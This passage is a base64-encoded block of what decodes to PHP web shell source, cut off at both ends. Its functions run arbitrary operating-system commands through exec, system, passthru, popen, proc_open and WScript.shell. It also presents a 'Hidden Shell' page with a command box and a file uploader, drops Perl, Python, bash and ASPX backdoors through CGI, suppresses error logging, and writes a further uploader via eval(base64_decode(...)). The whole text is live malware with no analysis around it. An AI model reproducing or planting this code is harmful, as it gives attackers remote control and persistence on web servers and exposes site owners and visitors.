Um1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkR
vSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQ
kJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb
2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdM
d2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWh
MY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VS
tqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc
291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlob2tpV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJaG9raVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5ob2tpIiwkc291cmNlKTsKCQkJ
fQoJCQlob2tpY2dpaHRhY2Nlc3MoJ2NnaScsICJob2tpY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJob2tpY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5ob2tpIjsKCQlpZigkbGFuZz09ImFzcHgiKXskY2dpX2V
4dCA9ICIuYXNweCI7CgkJfQoJCSRjZ2lfdXJsID0gX19IT0tJX0RBVEFfRk9MREVSX18uIi9ob2tpY2dpYXBpLyIuJGxhbmcuJGNnaV9leHQ7CgkJJGNtZCA9ICJjaGVjaz1XM052YkdWMmFYTnBZbXhsZm1Gd2FWMD0mY21kPSIuX19aVzVqYjJSbG
NnKCJjZCAiLiRHTE9CQUxTWydjd2QnXS4iOyIuJGNtZCk7CgkJaWYoJGlzX2N1cmwpewoJCQkkYWRkcmVzcyA9ICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKS4kX1NFUlZFUlsiU0VSVkVSX
05BTUUiXS5kaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iLyIuJGNnaV91cmw7CgkJCSRwb3N0ID0gbmV3IEhva2lDVVJMKCk7CgkJCSRkYXRhID0gJHBvc3QtPlNlbmQoJGFkZHJlc3MsICJwb3N0IiwgJGNtZCk7CgkJfWVsc2VpZigk
aXNfc29ja2V0KXsKCQkJJHNlcnZlciA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOwoJCQkkdXJpID0gZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkZGF0YSA9IF9ob2tpX2Zzb2Nrb3Blbigkc2VydmV
yLCR1cmksJGNtZCk7CgkJfQoJCSRvdXQgPSAiIjsKCQlpZihzdHJwb3MoJGRhdGEsICJba2lzZXJ5b3VuaX5hcGldIikgIT09IGZhbHNlICYmIHN0cnBvcygkZGF0YSwgJ1traXNlcnlvdW5pfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT
0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJ
G91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2hva2lfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9ob2tpX2Nn
aWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfaG9raV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk
7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9faG9raV9zZXRfY29va2llKCJob2tpY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3
Rpb24gaG9raUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24ga
G9raUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfaG9raV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJ
CWlmKHN0cmxlbihfaG9raV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9ob2tpX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHV
ybiAkZGF0YTsKfQpmdW5jdGlvbiBfaG9raV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID
0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3Rlb
ScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4
aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3N
lKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsIn
ciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRob2tpV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJ
yk7CiRleGVjID0gJGhva2lXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnaG9raTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJu
ICRvdXQ7Cn0KZnVuY3Rpb24gX2hva2lfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9
TVCB7JHVyaX0gSFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbn
RlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuX
HJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQs
IDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3N
ldCgkX0dFVFsia2lzZXJ5b3VuaSJdKSl7CkBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7CmVjaG8gJzxodG1sPic7CmVjaG8gIjx0aXRsZT5LaXNlcnlvdW5pIEhpZGRlbiBTaGVsbDwvdGl0bGU+IjsKZWNobyAiPGJvZHkgYmdjb2
xvcj0jMDAwMDAwPiI7CmVjaG8gJzxiPjxiaWc+PGZvbnQgY29sb3I9IzdDRkMwMD5LZXJuZWwgOiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGRiI+Jy4oZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKT9waHBfdW5hbWUoKTonPz8/JykuJzwvZ
m9udD48L2I+PC9iaWc+JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+
T2ZmPC9iPiI7fQplY2hvICI8YnI+PGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5PUzogPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiBQSFBfT1MgLiAiPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNvZnR
3YXJlOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSIFsnU0VSVkVSX1NPRlRXQVJFJ10gLiAiPC9mb250Pjxicj4iOwplY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gICI8L2
ZvbnQ+PGJyIC8+IjsKZWNobyAiUFdEOjxmb250IGNvbG9yPSNGRkZGRkY+ICIgLiBzdHJfcmVwbGFjZSgiXFwiLCIvIixAaG9raUdldEN3ZCgpKSAuICIvPGJyIC8+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TYWZlIE1vZGUgO
iAkcjxicj4iOwplY2hvIjxmb250IGNvbG9yPSM3Q0ZDMDA+RGlzYWJsZSBmdW5jdGlvbnMgOiA8L2ZvbnQ+IjsKJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwppZihlbXB0eSgkZGlzZnVuKSl7JGRpc2Z1biA9ICc8Zm9u
dCBjb2xvcj0iZ3JlZW4iPk5PTkU8L2ZvbnQ+Jzt9CmVjaG8iPGZvbnQgY29sb3I9cmVkPiI7CmVjaG8gIiRkaXNmdW4iOwplY2hvIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5Zb3VyIElwIEFkZHJlc3MgaXM
gOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U2VydmVyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb2
50IGNvbG9yPXdoaXRlPiIuKGZ1bmN0aW9uX2V4aXN0cygnZ2V0aG9zdGJ5bmFtZScpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk6Jz8/PycpLiI8L2ZvbnQ+PGJyPjxwPiI7CmVjaG8gJzxocj48Y2VudGVyPjxmb3JtIG9uU
3VibWl0PSJ0aGlzLnVwbG9hZC5kaXNhYmxlZD10cnVlO3RoaXMuY3dkLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jd2QudmFsdWUpKSk7IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0
aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICdDV0Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjd2QiIHZhbHVlPSInLnN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpLicvIiB
zaXplPSI1OSI+PHA+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjQ1Ij48aW5wdXQgbmFtZT0idXBsb2FkIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKG
lzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgX19aR1ZqYjJSbGNnKEAkX1BPU1RbJ2N3ZCddKS4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXtlY2hvI
Cc8Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PGNlbnRlcj5VcGxvYWQgU3VjY2Vzc2Z1bGx5IDspPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PC9iPjxicj48YnI+PC9jZW50ZXI+JzsgfQplbHNle2VjaG8gJzxjZW50ZXI+PGI+PGZv
bnQgY29sb3I9IiM3Q0ZDMDAiPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAiPjwvYj48L2NlbnRlcj48YnI+PGJyPic7IH0KfQplY2hvICc8aHI+PGZvcm0gb25TdWJtaXQ9InRoaXMuZXhlY3V0ZS5kaXNhYmx
lZD10cnVlO3RoaXMuY29tbWFuZF9raXNlcnlvdW5pLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX2tpc2VyeW91bmkudmFsdWUpKSk7IiBtZXRob2Q9IlBPU1QiPkV4ZWN1dGUgQ29tbWFuZDogPG
lucHV0IG5hbWU9ImNvbW1hbmRfa2lzZXJ5b3VuaSIgdmFsdWU9IiIgc2l6ZT0iNTkiIHR5cGU9InRleHQiIGFsaWduPSJsZWZ0IiA+PGlucHV0IG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiB0eXBlPSJzdWJtaXQiPjxicj48L2Zvcm0+C
jxocj48cHJlPic7CmlmKGlzc2V0KCRfUE9TVFsnY29tbWFuZF9raXNlcnlvdW5pJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwoka2lzZXJ5b3Vu
aSA9ICJjZCAnIi5hZGRzbGFzaGVzKHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpKS4iJyIuJHNlcGFyYXRvci4iIi5fX1pHVmpiMlJsY2coJF9QT1NUWydjb21tYW5kX2tpc2VyeW91bmknXSk7CmVjaG8gaG9raUV4KCRraXNlcnl
vdW5pKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3
NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfb
WFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9y
ZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB
0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3
Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBob2tpR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0Z
V9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9
IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAaG9raUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0x
PQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBob2tpR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZC
ddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHT
E9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcs
ICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfaG9raV9maWxlX2V
4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKX
sKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFyd
CwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJIT0tJX1RFTVBESVIiLChmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSA/IChAaXNfd3JpdGFibGUoc3RyX3JlcGxhY2UoJ1xcJywnLycsc3lzX2dldF90ZW1wX2RpcigpKSk/c3lzX2dldF90
ZW1wX2RpcigpOihAaXNfd3JpdGFibGUoJy4nKT8nLic6ZmFsc2UpKSA6IGZhbHNlKSk7CmZ1bmN0aW9uIGhva2loZWFkKCl7CiRHTE9CQUxTWydfX0hPS0lfU0hFTExfQ09ERSddID0gJ1BEOXdhSEFnWldOb2J5QWlQSFJwZEd4bFBsTnZiR1YyYVh
OcFlteGxJRlZ3Ykc5aFpHVnlQQzkwYVhSc1pUNWNianhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JqeGljajVjYmp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSjNhR2wwWlZ3aVBqeGlQbGx2ZFhJZ1NYQWdRV1JrY21WemN5QnBjen
d2WWo0Z1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQand2Wm05dWRENDhMMk5sYm5SbGNqNWNianhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN1pXTm9ieUFrWDFORlVsWkZVbHNuVWtWTlQxU
kZYMEZFUkZJblhUdGxZMmh2SUNJOEwyTmxiblJsY2o0OEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQVndpSXpkRFJrTXdNRndpUGx4dVBHSnlQbHh1UEdKeVBseHVQR05sYm5SbGNqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0
OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dVBHTmxiblJsY2o0OFptOXliU0J
0WlhSb2IyUTlKM0J2YzNRbklHVnVZM1I1Y0dVOUoyMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRW5JRzVoYldVOUozVndiRzloWkdWeUp6NGlPMlZqYUc4Z0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTST
BOU0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ0OEwyTmxiblJsY2o0bk8ybG1LR2x6YzJWMEtDUmZVRTlUVkZzblgzVndiQ2RkS1NZb
UpGOVFUMU5VV3lkZmRYQnNKMTA5UFNBaVZYQnNiMkZrSWlsN2FXWW9RRzF2ZG1WZmRYQnNiMkZrWldSZlptbHNaU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLU2tn
ZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCVGRXTmpaWE56Wm5Wc2JIa2dPeWs4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGl
jajRuTzMxbGJITmxlMlZqYUc4Z0p6eGlQanhtYjI1MElHTnZiRzl5UFNJak4wTkdRekF3SWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeV
BqeGljajRuTzMxOVpXTm9ieUFuUEdObGJuUmxjajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9qTXdjSGc3SUdKaFkydG5jbTkxYm1RNklIVnliQ2dtY1hWdmREdG9kSFJ3T2k4dmMyOXNaWFpwYzJsaWJHVXVZMjl0TDJsdFlXZGxjeTlpW
jE5bFptWmxZM1JmZFhBdVoybG1KbkYxYjNRN0tTQnlaWEJsWVhRdGVDQnpZM0p2Ykd3Z01DVWdNQ1VnZEhKaGJuTndZWEpsYm5RN0lHTnZiRzl5T2lCeVpXUTdJSFJsZUhRdGMyaGhaRzkzT2lBNGNIZ2dPSEI0SURFemNIZzdJajQ4YzNSeWIyNW5Q
anhpUGp4aWFXYytjMjlzWlhacGMybGliR1ZBWjIxaGFXd3VZMjl0UEM5aVBqd3ZZbWxuUGp3dmMzUnliMjVuUGp3dmMzQmhiajQ4TDJObGJuUmxjajRuT3o4Kyc7CiRob2tpX3VwbG9hZGVyID0gJyR4ID0gYmFzZTY0X2RlY29kZSgiJy4kR0xPQkF
MU1snX19IT0tJX1NIRUxMX0NPREUnXS4nIik7JGtpc2VyeW91bmkgPSBmb3Blbigia2lzZXJ5b3VuaS5waHAiLCJ3Iik7ZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwpkZWZpbmUoIkhPS0lfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKC
